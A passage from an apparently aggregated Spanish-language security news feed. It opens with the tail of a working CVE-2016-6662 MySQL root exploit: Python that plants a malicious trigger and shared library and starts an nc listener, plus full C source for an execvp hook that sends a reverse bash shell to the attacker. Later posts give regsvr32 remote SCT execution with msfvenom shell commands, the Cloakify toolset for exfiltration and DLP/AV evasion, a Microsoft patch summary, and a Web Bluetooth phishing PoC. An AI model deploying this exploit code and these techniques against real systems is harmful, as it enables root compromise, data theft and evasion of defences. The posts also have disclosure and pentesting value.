ej. attacker$ ./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf


[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void;  
   set global general_log = off;

END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)

# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(4)

# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
    cursor = dbconn.cursor()
    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(5)

# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
    cursor = dbconn.cursor()
    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(6)

# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
    cursor = dbconn.cursor()
    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)
finally:
    dbconn.close()  # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")

# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""

# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")

# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")


# Shutdown
shutdown(0)

- mysql_hookandroot_lib.c
/*

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
mysql_hookandroot_lib.c

This is the shared library injected by 0ldSQL_MySQL_RCE_exploit.py exploit.
The library is meant to be loaded by mysqld_safe on mysqld daemon startup
to create a reverse shell that connects back to the attacker's host on
6603 port (mysql port in reverse ;) and provides a root shell on the
target.

mysqld_safe will load this library through the following setting:

[mysqld]
malloc_lib=mysql_hookandroot_lib.so

in one of the my.cnf config files (e.g. /etc/my.cnf).

This shared library will hook the execvp() function which is called
during the startup of mysqld process.
It will then fork a reverse shell and clean up the poisoned my.cnf
file in order to let mysqld run as normal so that:
'service mysql restart' will work without a problem.

Before compiling adjust IP / PORT and config path.


~~
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


~~
Compilation (remember to choose settings compatible with the remote OS/arch):

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

Disclaimer:

For testing purposes only. Do no harm.

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ATTACKERS_IP "127.0.0.1"
#define SHELL_PORT 6033
#define INJECTED_CONF "/var/lib/mysql/my.cnf"

char* env_list[] = { "HOME=/root", NULL };
typedef ssize_t (*execvp_func_t)(const char *__file, char *const __argv[]);
static execvp_func_t old_execvp = NULL;


// fork & send a bash shell to the attacker before starting mysqld
void reverse_shell(void) {

    int i; int sockfd;
    //socklen_t socklen;
    struct sockaddr_in srv_addr;
    srv_addr.sin_family = AF_INET;
    srv_addr.sin_port = htons( SHELL_PORT ); // connect-back port
    srv_addr.sin_addr.s_addr = inet_addr(ATTACKERS_IP); // connect-back ip

    // create new TCP socket && connect
    sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
    connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
   
    for(i = 0; i <= 2; i++) dup2(sockfd, i);
    execle( "/bin/bash", "/bin/bash", "-i", NULL, env_list );

    exit(0);
}


/*
 cleanup injected data from the target config before it is read by mysqld
 in order to ensure clean startup of the service

 The injection (if done via logging) will start with a line like this:

 /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:

*/

int config_cleanup() {

    FILE *conf;
    char buffer[2000];
    long cut_offset=0;

    conf = fopen(INJECTED_CONF, "r+");
    if (!conf) return 1;

    while (!feof(conf)) {
       fgets(buffer, sizeof(buffer), conf);
       if (strstr(buffer,"/usr/sbin/mysqld, Version")) {
      cut_offset = (ftell(conf) - strlen(buffer));
       }

    }
    if (cut_offset>0) ftruncate(fileno(conf), cut_offset);
    fclose(conf);
    return 0;

}


// execvp() hook
int execvp(const char* filename, char* const argv[]) {

    pid_t  pid;
    int fd;

    // Simple root PoC (touch /root/root_via_mysql)
    fd = open("/root/root_via_mysql", O_CREAT);
    close(fd);

    old_execvp = dlsym(RTLD_NEXT, "execvp");

    // Fork a reverse shell and execute the original execvp() function
    pid = fork();
    if (pid == 0)
          reverse_shell();

    // clean injected payload before mysqld is started
    config_cleanup();
    return old_execvp(filename, argv);
}

Contramedidas

La explotación es posible, incluso si están instalados los módulos de seguridad de Linux como AppArmor y SELinux.

A la espera de que Oracle publique el parche necesario: "Como mitigaciones temporales, los usuarios deben asegurarse de que NO hay archivos de configuración de MySQL propiedad de los usuarios de MySQL, y crear archivos my.cnf ficticios de root que no estén en uso".

Sin embargo recordar: "Estos son de ninguna manera una solución completa y los usuarios deben aplicar los parches oficiales de proveedores tan pronto como estén disponibles."


Fuentes:
- Legal Hackers CVE-2016-6662
- Critical MySQL Vulnerability Disclosed
- Critical MySQL Zero-Day Exposes Servers to Attacks
- MySQL Remote Root Code Execution / Privilege Escalation (0day Exploit) CVE-2016-6662
Via:www.hackplayers.com

Ejecución de código en Windows con Scriptlets COM+

$
0
0
Hace unas semanas, nuestro compañero de ElevenPaths en Buenos Aires, Cristian Borghello me compartió un artículo que hablaba de un bypass de AV y otros mecanismos de protección a través de ficheros SCT. Quizá algunos de vosotros piensen como pensé yo en ese momento; "¿Ficheros SCT?" Yo, confieso que, tuve buscarlo, pero me resultó más que interesante el proceso y acabé haciendo una pequeña prueba de concepto que os dejo en este artículo. Para empezar hay que explicar que existen tres formas de empaquetar un objeto COM+: mediante código nativo  (.dll y .exe), mediante clases de Java (.class) y con Scriptlets (.sct). Estos últimos serán el protagonista de esta entrada.

Figura 1: Ejecución de código en Widnows con Scriptlets COM+

Los Scriptlets permiten una técnica potente de empaquetamiento porque proporcionan la forma de crear objetos COM+ implementados a través de ficheros XML. Los Scriptlets son ejecutados por el componente de ejecución (scrobj.dll). Para mayor detalle sobre los Scriptlets os recomiedo la lectura de InsideCOM+.

Como mencionaba nuestro compañero Cristianen la Comunidad de ElevenPaths, cuando un pentester está planificando un ethical hacking, se suele pensar en la etapa de análisis, explotación y post-explotación. Esta última etapa es, para muchos, quizás a la que menos tiempo se dedica en la preparación. ¿Por qué? Se suele pensar que una vez se compromete una máquina o una red, saltar las medidas de seguridad internas es sencillo, pero esto puede complicarse hasta puntos insospechados previamente. En otras palabras, no siempre la post-explotación es sencilla y dependerá de la madurez de algunos controles internos desplegados en virtud de las políticas en la organización.

Figura 2: Artículo sobre Scriptlets en InsideCOM+

El uso de herramientas no siempre nos va a proporcionar el éxito que necesitamos en una fase de post-explotación. Por esta razón, las nuevas técnicas que van apareciendo son importantes para los test de intrusión de hoy en día, como el caso que vimos hace poco del nuevo bypass de UAC en Windows 7/10, para el que desarrollamos un módulo de Metasploit.

La idea de poder ejecutar acciones en un sistema a través de Scriptlet COM es algo interesante a la hora de pasar desapercibido ante las medidas de protección de los sistemas. Los archivos SCT son altamente desconocidos. Al hacer doble clic sobre ellos, se ejecuta el notepad.exe, porque no existe una asociación directa a la ejecución del mismo en el sistema, lo que los hace parecer bastante inofensivos. Si queremos realmente ejecutarlos debemos hacerlo a través de la aplicación regsvr32. Algo del estilo: regsvr32 /s /u /i: [ruta] scrobj.dll

Lo más interesante es que al ser algo que no se suele ver o conocer por el gran público, permite saltar la seguridad del antivirus o una lista blanca que se encuentre configurada como medida de protección. Como me decía Cristian, la ofuscación es algo sencillo al ser un lenguaje interpretado.

PoC: One shot!
Hemos llevado a cabo una prueba de concepto y es algo bastante sencillo de llevar a cabo. Desde el Github de SubTee disponemos de una prueba de concepto para ver el efecto y el potencial de la técnica.

Figura 3: GitHub de SutTee

Al llevar al equipo víctima el fichero SCT y hacemos doble clic veremos que se nos abre un notepad.exe que nos muestra el contenido del fichero. Para llevar a cabo su ejecución lanzamos la siguiente instrucción: regsvr32 /s /u /i:[ruta fichero SCT] scrobj.dll.

Figura 4: Ejecución de Scriptlet SCT

La ruta del fichero SCT podría ser remota. En el ejemplo anterior, vemos como ejecutamos un fichero que se encuentra localmente en el equipo, pero en otro escenario podríamos traer el fichero SCT de un servidor web que tengamos en cualquier otro lado. El fichero “calc.sct” contiene el código para abrir una calculadora en el sistema. Realmente si analizamos el código, vemos que tenemos la opción de ejecutar una shellcode, por lo que dicha shellcode se podría generar de manera sencilla con msfvenom, herramienta del frameworkMetasploit.

Figura 5: Código payload para ejecución de código en el sistema mediante Scriptlet

Como se puede ver hay una sección dentro del XML del fichero SCT que permite la inclusión de código, en este caso JScript. Como se puede ver en la línea comentada con la ejecución de msfvenom, podemos generar otros payload y modificar el fichero para ejecutar otras cosas.

Figura 6: Ejecución de shell en puerto 4444

Utilizando la instrucción msfvenom -p windows/shell_bind_tcp -a x86 –platform win -e [encoder] -f csharp LHOST=[IP] LPORT=[PORT], podemos almacenarlo y modificarlo en nuestro fichero SCT con el objetivo de poder llevar a cabo el bypass. Ahora, probaremos a ubicar el fichero SCT en un servidor remoto y llevaremos a cabo la ejecución de regsvr32 /s /u /i:http://ruta/ficheroSCT scrobj.dll. Esto provocará su ejecución y la shellcode se quedará a la escucha en el puerto configurado, para este ejemplo el 4444.

Figura 7: Conexión a la sesión de abierta con Metasploit

Como se puede ver en la imagen, tenemos a nuestra shellcode a la escucha en el puerto 4444. Ahora, podemos utilizar un nc o el módulo multi/handler de Metasploit para recuperar la sesión y poder interactuar con el sistema de manera remota. En este vídeo se describe todo el proceso.


Figura 8: Vídeo de ejecución de shell mediante Scriptlet

Interesante técnica, que puede ser utilizada en un momento dado durante la realización de un pentesting o ethical hacking. Esta es una forma de evadir listas blancas de aplicaciones a utilizar y de que un sistema AV pueda detectarnos, al menos por ahora. Si conoces mitigaciones sobre esto coméntanosla, así como si conoces otro tipo de bypass.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

Via:www.elladodelmal.com

Cloakify - Data Exfiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of Analysts; Evade AV Detection

$
0
0
Cloakify Toolset - Data Exfiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of Analysts; Defeat Data Whitelisting Controls; Evade AV Detection. Text-based steganography usings lists. Convert any file type (e.g. executables, Office, Zip, images) into a list of everyday strings. Very simple tools, powerful concept, limited only by your imagination.

Author
Joe Gervais (TryCatchHCF)

Why
DLP systems, MLS devices, and SecOps analysts know what data to look for: 
So transform that data into something they're not looking for:

Description
Python scripts to cloak / uncloak any file type using list-based ciphers (text-based steganography). Allows you to transfer data across a secure network’s perimeter without triggering alerts, defeating data whitelisting controls, and derailing analyst’s review via social engineering attacks against their workflows. As a bonus, cloaked files defeat signature-based malware detection tools.
Cloakify first Base64-encodes the payload, then applies a cipher to generate a list of strings that encodes the Base64 payload. Once exfiltrated, use Decloakify with the same cipher to decode the payload.
Not a secure encryption scheme (vulnerable to frequency analysis attacks, use 'noiseTools' scripts to add entropy). Encrypt data separately prior to processing to keep secure (if needed).
Very small, simple, clean, portable - written in Python. Can quickly type into a target’s local shell session if needed.
Use py2exe if Windows target lacks Python. ( http://www.py2exe.org/ )
Prepackaged ciphers include lists of:
  • Desserts in English, Arabic, Thai, Russian, Hindi, Chinese, Persian, and Muppet (Swedish Chef)
  • IPv4 Addresses of Popular Websites
  • GeoCoords World Capitals (Lat/Lon)
  • PokemonGo Monsters
  • MD5 Password Hashes
  • Emoji
  • World Cup Teams
  • Belgian Beers
  • Ski Resorts
  • World Beaches
  • Amphibians (scientific names)
  • GeoCaching Coordinates (w/ Site Names)
  • Star Trek characters
  • evadeAV (smallest cipher space - x3 payload size - purely to evade AV detection)
Prepackaged scripts for adding noise / entropy to your cloaked payloads:
  • prependID.py: Adds a randomized ID tag to front of each line
  • prependLatLonCoords.py: Adds randomized LatLong coordinates to front of each line
  • prependTimestamps.py: Adds timestamps (log file style) to front of each line
See script comments for details on how to tailor the output for your own needs

To create your own cipher
  • Generate a list of at least 66 unique words / phrases / symbols (Unicode accepted)
  • Randomize the list order
  • Remove all duplicate entries and all blank lines
Pass the new file as the cipher argument to cloakify / decloakify

Cloakify Example


Decloakify Example


Adding Entropy
Add noise to degrade frequency analysis attacks against your cloaked payloads. Here we use the 'pokemonGo' cipher, then use the 'prependLatLonCoords.py' script to generate random geocoords in a 10x10 mile grid. (Strip noise from file before decloaking.)

Sample Cipher Gallery





Via:www.kitploit.com

Microsoft publica 14 boletines de seguridad y soluciona 50 vulnerabilidades

$
0
0
Este martes Microsoft ha publicado 14 boletines de seguridad (del MS16-104 al MS16-117) correspondientes a su ciclo habitual de actualizaciones. Según la propia clasificación de Microsoft siete de los boletines presentan un nivel de gravedad "crítico"mientras que los siete restantes son "importantes". En total se han solucionado 50 vulnerabilidades (algunas de ellas en varios productos) y otras 26 adicionales correspondientes en Flash Player. 
  • MS16-104: La habitual actualización acumulativa para Microsoft Internet Explorer que además soluciona 10 nuevas vulnerabilidades. La más grave de ellas podría permitir la ejecución remota de código si un usuario visita, con Internet Explorer, una página web especialmente creada (CVE-2016-3247, CVE-2016-3291, CVE-2016-3292, CVE-2016-3295, CVE-2016-3297, CVE-2016-3324, CVE-2016-3325, CVE-2016-3351, CVE-2016-3353y CVE-2016-3375).
          
  • MS16-105: Boletín "crítico" que incluye la también habitual actualización acumulativa para Microsoft Edge, el navegador incluido en Windows 10. En esta ocasión se solucionan 12 vulnerabilidades, la más grave de ellas podría permitir la ejecución remota de código si un usuario visita, con Microsoft Edge, una página web especialmente creada (CVE-2016-3247, CVE-2016-3291, CVE-2016-3294, CVE-2016-3295, CVE-2016-3297, CVE-2016-3325, CVE-2016-3330, CVE-2016-3350, CVE-2016-3351, CVE-2016-3370, CVE-2016-3374y CVE-2016-3377).
          
  • MS16-106: Boletín "crítico" destinado a corregir cinco vulnerabilidades en Microsoft Graphics Component, que podrían permitir la ejecución remota de código si se abre un documento o web específicamente creada. Afecta a todas las versiones soportadas de Microsoft Windows. (CVE-2016-3348, CVE-2016-3349,CVE-2016-3354, CVE-2016-3355y CVE-2016-3356).
         
  • MS16-107: Boletín "crítico" que soluciona cinco vulnerabilidades, la más grave de ellas que podría permitir la ejecución remota de código si se abre un archivo específicamente creado con Microsoft Office (CVE-2016-0137, CVE-2016-0141, CVE-2016-3357al CVE-2016-3366y CVE-2016-3381).
         
  • MS16-108: Boletín "crítico" que resuelve tres vulnerabilidades (CVE-2016-0138, CVE-2016-3378y CVE-2016-3379) en Microsoft Exchange Server la más grave de ellas podría permitir la ejecución remota de código en algunas librerías Oracle Outside In incorporadas en Exchange Server, si un atacante envía un email con un adjunto específicamente creado.
         
  • MS16-109: Boletín de carácter "importante" destinado a corregir una vulnerabilidad en Microsoft Silverlight, que podría permitir la ejecución remota de código si un usuario visita un sitio web con una aplicación Silverlight específicamente creada (CVE-2016-3367).
         
  • MS16-110: Actualización considerada "importante" destinada a corregir cuatro vulnerabilidades en diferentes componentes de Windwos. La más grave podría permitir la elevación de privilegios (CVE-2016-3346, CVE-2016-3352, CVE-2016-3368y CVE-2016-3369).
         
  • MS16-111: Boletín considerado "importante" que resuelve cinco vulnerabilidades en el kernel de Windows que podrían permitir la elevación de privilegios en sistemas Windows (CVE-2016-3305,CVE-2016-3306, CVE-2016-3371alCVE-2016-3373).
          
  • MS16-112: Destinado a corregir una vulnerabilidades "importante" que podría permitir la elevación de privilegios si Windows permite la carga de contenido web desde la pantalla de bloqueo de Windows (CVE-2016-3302).
         
  • MS16-113: Boletín de carácter "importante" destinado a corregir una vulnerabilidad que podría permitir la obtención de información sensible cuando Windows Secure Kernel Mode trata objetos en memoria de forma inadecuada (CVE-2016-3344).
         
  • MS16-114: Boletín considerado "importante" que resuelve una vulnerabilidad (CVE-2016-3345) que podría llegar a permitir la ejecución remota de código si un atacante autenticado envía paquetes específicamente creados a un servidor Microsoft Server Message Block 1.0 (SMBv1).
          
  • MS16-115: Actualización considerada "importante" que resuelve dos vulnerabilidades en la librería PDF, que podría permitir la ejecución remota de código si un usuario abre un documento PDF específicamente creado (CVE-2016-3370y CVE-2016-3374).
         
  • MS16-116: Boletín "crítico" que resuelve una vulnerabilidad (CVE-2016-3375) de corrupción de memoria en OLE Automation para VBScript Scripting Engine que podría permitir la ejecución remota de código si un usuario visita un sitio web malicioso. Para solucionar la vulnerabilidad también debe instalarse la actualización MS16-104.
          
  • MS16-117: Como viene siendo habitual en los últimos meses, Microsoft publica un boletín para resolver las vulnerabilidades solucionadas por Adobe en Flash Player en su también boletín periódico. Se trata de un boletín "crítico" que en esta ocasión soluciona 26 vulnerabilidades en Adobe Flash Player instalado en Windows Server 2012, Windows 8.1 y Windows 10; correspondientes al boletín APSB16-29de Adobe (y que comentaremos con más detalle en una próxima una-al-día).


Las actualizaciones publicadas pueden descargarse a través de Windows Update o consultando los boletines de Microsoft donde se incluyen las direcciones de descarga directa de cada parche. Se recomienda la actualización de los sistemas con la mayor brevedad posible.

Más información:

Microsoft Security Bulletin Summary for September 2016

Microsoft Security Bulletin MS16-104 - Critical
Cumulative Security Update for Internet Explorer (3183038)

Microsoft Security Bulletin MS16-105 - Critical
Cumulative Security Update for Microsoft Edge (3183043)

Microsoft Security Bulletin MS16-106 - Critical
Security Update for Microsoft Graphics Component (3185848)

Microsoft Security Bulletin MS16-107 - Critical
Security Update for Microsoft Office (3185852)

Microsoft Security Bulletin MS16-108 - Critical
Security Update for Microsoft Exchange Server (3185883)

Microsoft Security Bulletin MS16-109 - Important
Security Update for Silverlight (3182373)

Microsoft Security Bulletin MS16-110 - Important
Security Update for Microsoft Windows (3178467)

Microsoft Security Bulletin MS16-111 - Important
Security Update for Windows Kernel (3186973)

Microsoft Security Bulletin MS16-112 - Important
Security Update for Windows Lock Screen (3178469)

Microsoft Security Bulletin MS16-113 - Important
Security Update for Windows Secure Kernel Mode (3185876)

Microsoft Security Bulletin MS16-114 - Important
Security Update for Windows SMBv1 Server (3185879)

Microsoft Security Bulletin MS16-115 - Important
Security Update for Microsoft Windows PDF Library (3188733)

Microsoft Security Bulletin MS16-116 - Critical
Security Update in OLE Automation for VBScript Scripting Engine (3188724)

Microsoft Security Bulletin MS16-117 - Critical
Security Update for Adobe Flash Player (3188128)


Antonio Ropero
Twitter: @aropero



Via:unaaldia.hispasec.com

Hacking con la Physical Web: Jugando con la seguridad de Web BlueTooth #BlueTooth

$
0
0
No hace mucho que escribía acerca de la información que se puede obtener con un simple escaneo de dispositivos Bluetooth. De cómo algunos teléfonos indican, además de su marca y modelo, el nombre de su propietario. De cómo se pueden utilizar para rastrear las entradas y salidas o la presencia de personas. De cómo las ondas de radio pueden revelar la existencia de dispositivos que no están conectados a la red. Retomemos aquí el tema y démosle otra vuelta de tuerca.

Figura 1: Hacking con la Physical Web. Jugando con la seguridad Web BlueTooth

El corto alcance de la señal Bluetooth puede suponer a la vez una ventaja y un inconveniente. Para el atacante, por un lado, limita los espacios desde los que se puede actuar pero, por otro, permite fijar con más precisión la posición del objetivo. Para el defensor, condiciona dónde colocar las cosas pero protege contra intrusos colocados a gran distancia. Hasta ahora.

Web Bluetooth

Con los años, el navegador se está convirtiendo en cliente universal para todo tipo de programas y aplicaciones. Esto hace que estas herramientas se vayan incorporando cada vez más capacidades y funcionalidades. Entre todas ellas, uno de los conceptos que comienzan a ponerse de moda es el de Web Física (Physical Web), una web capaz de interactuar con el mundo real y en cuanto hay en él.

Y, como no, le está llegando el turno a Bluetooth. Existe un estándar, aún en elaboración, para definir una API cliente (Javascript) que permita a los navegadores interactuar con dispositivos Bluetooth. Su nombre es Web Bluetooth y se pueden hacer cosas tan curiosas como controlar una carrera de coches desde la web.

Figura 2: Una carrera de coches Bluetooth controlada desde una página web

Por ahora, hasta donde yo sé, de los navegadores más utilizados, sólo Google Chrome soporta Web Bluetooth. Eso sí, con limitaciones. Y, además, viene desactivado por defecto. Si quieres activarlo, el primer problema que puedes encontrarte es tu sistema operativo: no funciona en Windows. Por si sirve como referencia, en las pruebas que se realizará más adelante se utilizará la distribución Kubuntu.

Figura 3: Programar con Web BlueTooh en Google Chrome

Si tienes algún sistema operativo de los soportados (Chrome OS, Android M, Linux u OS X) y quieres activar Web Bluetooth en tu navegador Google Chrome, pon en la barra de direcciones "chrome://flags/#enable-web-bluetooh" . y te aparecerá la opción “Habilitar”. Hazle clic y reinicia.

Figura 4: Habilitar Web BluetTooth en Google Chrome

Eso es todo. A partir de ahora tu navegador soportará esta tecnología. Y, dicho sea de paso, se volverá bastante inestable y - al menos así me pasa a mí - se cerrará él solito de vez en cuando. Tampoco esperes maravillas. No por ahora. Por ejemplo, con la versión 52.0.2743.116 sobre Kubuntu 6.04 de 64 bits, el navegador no hace el descubrimiento de dispositivos. Tienes que hacerlo tú con el sistema operativo ANTES.

Figura 5: Descubrimiento de dispositivos BlueTooth

Si vas a hacer las pruebas de forma inmediata, no hace falta que te conectes a ninguno, sólo que tu sistema operativo los encuentre. Pero, si vas a jugar un buen rato, ten en cuenta que el sistema puede “olvidar” la presencia de aquellos dispositivos que no estén emparejados con él. Ya sé. Muchos inconvenientes. Pero ya ser irán solucionando con el paso del tiempo. Se trata de una tecnología que aún está en mantillas pero que, es de esperar, a no mucho tardar comenzará a tener suficiente grado de madurez.

Tres protecciones y un riesgo

Al hablar de dispositivos Bluetooth estamos abarcando desde teclados o ratones hasta sistemas de control de aparatos de smartTV pasando, claro, por los smartphones. O por marcapasos y otro equipamiento médico. Si cualquier página web fuera capaz de conectarse a estos dispositivos y manipularlos las consecuencias podrían ser graves. Por eso existen varias medidas de seguridad en la implementación de Web Bluetooth:
• Sólo funciona sobre páginas servidas sobre protocolos seguros. O sea, funciona sobre HTTPS pero no sobre HTTP. 
• Se requiere que el usuario realice alguna acción de teclado o ratón (“user gesture” o, en otras palabras, toques, clics o pulsaciones) para que un script pueda intentar conectar con un dispositivo Bluetooth. 
• Algunos tipos de dispositivos pueden tener un acceso restringido o no ser accesibles mediante esta tecnología. Por ejemplo, no sería bueno que se pudiera controlar el teclado, pues se podría realizar operaciones de keylogging. La lista de las funcionalidades limitadas puede encontrarse en esta blacklist.
Figura 6: BlackList de acciones en Web BlueTooth

Como no todo iba a ser pros, una contra a tener en cuenta. Existe una forma de habilitar Web Bluetooth para tu sitio web: participar en un programa de experimentación “Origin Trial” de Google Chrome. Como se indica en una de las referencias, ésta posibilidad acabará en Enero de 2017. Para entonces la especificación deberá estar lo bastante avanzada como para no necesitar más pruebas. Con toda esta información, ha llegado la hora de ponerse en la piel de un atacante y ver cómo subvertir tanta cosa buena.

Salvando escollos

Vamos a ver cómo podría un atacante tratar de evitar las protecciones mencionadas, más alguna otra que iremos encontrando. Empecemos con el código fuente de una página maliciosa. Va en dos partes. Primero el código HTML y luego el código JavaScript.

Figura 7: Código HTML de nuestra página de prueba con Web BluetTooth

Y abajo el código JavaScript. En pocas palabras, en cuanto el usuario inicia una pulsación de ratón o de teclado, incluso de teclas como CTRL o SHIFT, sin esperar siquiera a que termine, se le muestra un mensaje engañoso y se inicia el proceso de selección de dispositivo Bluetooth.

Figura 8: Código JavaScript de esta PoC

Para conseguir que funcione, la página debe ser servida sobre HTTPS. Supongamos que el dominio “example.org” pertenece al atacante.

Figura 9: Página web del atacante bajo HTTPs

Sólo queda esperar que algún incauto pase por ella e intente seleccionar el texto para copiarlo. Con la interacción de teclado o ratón se activará el script que, gracias a ello, podrá utilizar las funcionalidades de Web Bluetooth.

Figura 10: Cuando se pulsa teclado o ratón se activan las funciones de Web BlueTooth

Se supone que el mensaje de “Error general” debería ser más convincente. Con mejor presencia. Y quizá convendría usar imágenes que simularan la existencia de una ventana de error del sistema operativo. Pero, como no tengo tiempo de preparar algo tan elaborado, dejemos trabajar a tú imaginación y valga para estas pruebas con algo tan cutre.

Cuando el usuario seleccione su teléfono para intentar mantener la conexión y haga clic en “Conectar”, la página web sabrá el nombre del dispositivo y lo enviará al atacante. Con tan poca cosa nos contentaremos aquí, aunque es seguro que, dependiendo de cada dispositivo, en un caso real serían posibles otras actuaciones mucho más dañinas.

Pero, aunque el mensaje de error sea más convincente que el aquí presentado, hay aún un elemento que no termina de gustarme: el cuadro de selección de dispositivo da demasiada información al usuario. ¿Podríamos quitar eso que aparece en la imagen de “www.example.org quiere conectarse a:”?

Ocultando el orgen del ataque

El anterior mensaje muestra el nombre del equipo que está intentando interactuar con Web Bluetooth y eso no le conviene al atacante. Así que le toca hacer pruebas. Por ejemplo... ¿Qué pasa si la página es servida sobre un equipo con un nombre más largo?

Figura 11: El nombre aparece truncado en la selección de dispositivos

¡Eso está mejor! Ya no aparece el nombre de dominio completo, aunque el mensaje sigue siendo rarillo. Jugando con los nombres de dominio y la forma en que aparecen en el cuadro de diálogo, vi que los guiones funcionan de forma ligeramente diferente a números y letras: si separan dos palabras y la segunda no cabe... la pone en la siguiente línea e intenta seguir mostrando caracteres. Eso me hizo pensar en un nombre de equipo que aprovechara al máximo las posibilidades. El que terminé sacando fue:
esta.es.la.lista.de.dispositivos.a.elimi- nar.del.sistema.de.forma.permanente.0------------------------------------------------------0- si.desea.mantener.alguno.de.ellos.de-be.marcarlo.y.clickar.el.boton.de.que.example.org

Sirviendo la página desde este equipo, el mensaje será:

Figura 12: El mensaje final para ocultar el origen del ataque

Debo señalar aquí que es posible que la apariencia de los mensajes varíe en otros equipos (sobre todo en smartphones) o si se usan configuraciones de pantalla o de navegador distintas a las del equipo que utilicé para las pruebas. En un caso real posiblemente sea necesario hacer un fingerprinting del navegador y su entorno para garantizar el efecto deseado.

Otra cosa es que, dada la sintaxis de la lengua inglesa y sus construcciones terminadas en preposición (como “the device you want to connect to”), en este idioma creo que será mucho más fácil crear frases con sentido. Pero ahora lo que no me gusta es la barra de la URL. La dirección de la ventana es muy rara y quisiera que fuera algo más discreta.

Ocultando la dirección de la barra de URL

Lo primero que se me ocurrió fue crear una página con una URL más normalita (digamos “https://www.example.org/iframe.html”) e insertar en ella un IFRAME que llene toda la ventana. En este IFRAME, sin barra de URL que valga, se cargaría nuestra página maliciosa. Pero no funciona. No se permite el uso de Web Bluetooth desde IFRAMES de dominios distintos al de la página principal.

Figura 13: Protección contra carga de iframes en diferentes dominios

El problema es que la ventana que tiene que mostrar el diálogo de selección de dispositivo es de un dominio distinto al de la página que lo solicita. Tenemos que abrir una ventana nueva pero evitando que en ésta aparezca el nombre de equipo en la barra de URL. Si pudiéramos abrir una ventana sin barra de URL todo estaría resuelto. Pero los navegadores suelen tomar precauciones contra esta práctica. Habrá que pensar en otra cosa.

La que se me ocurrió quizá no sea la única. Pero funcionar... funciona. Cuando se realiza un “window.open” con la URLabout:blank”, Google Chrome asigna a la nueva ventana el mismo origen de aquella desde la que se realizó la llamada. De modo que, desde el IFRAME, abrimos una ventana nueva, la rellenamos mediante scripting con un código similar al ya presentado... et voilà! Un poco de JavaScript obra la magia:

Figura 14: JavaScript para ocultar la barra de dirección URL

Ya sólo queda tener otra página que incluya a la anterior en un IFRAME:

